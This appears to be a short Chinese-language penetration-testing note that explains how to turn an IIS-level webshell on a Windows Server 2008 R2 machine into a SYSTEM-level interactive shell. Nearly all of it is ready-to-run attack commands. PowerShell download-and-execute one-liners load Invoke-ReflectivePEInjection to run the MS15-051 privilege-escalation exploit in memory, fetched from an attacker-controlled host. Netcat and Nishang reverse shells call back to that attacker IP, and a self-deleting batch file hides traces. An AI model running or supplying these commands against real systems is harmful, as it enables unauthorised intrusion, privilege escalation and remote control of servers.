环境:win2008R2一台 外网服务器一台 场景:已经得到win2008R2的webshell,权限的iis,目标是得到system权限的交互式shell。
方法1:上传nc到win2008R2
ms15-051在内存提权
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://外网IP:8011/ms15-051.exe -ExeArgs '\"nc -e cmd 外网IP 8443\"' -ForceASLR

方法2:
将反弹Powershell的命令写在1.bat,为了不留下文件,所以del 1.bat,但感觉还不够优雅。 反弹Powershell的命令(1.bat)
del 1.bat && powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 外网IP -port 8443
然后在提权的时候执行1.bat
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://外网IP:8011/ms15-051.exe -ExeArgs '\"1.bat\"' -ForceASLR
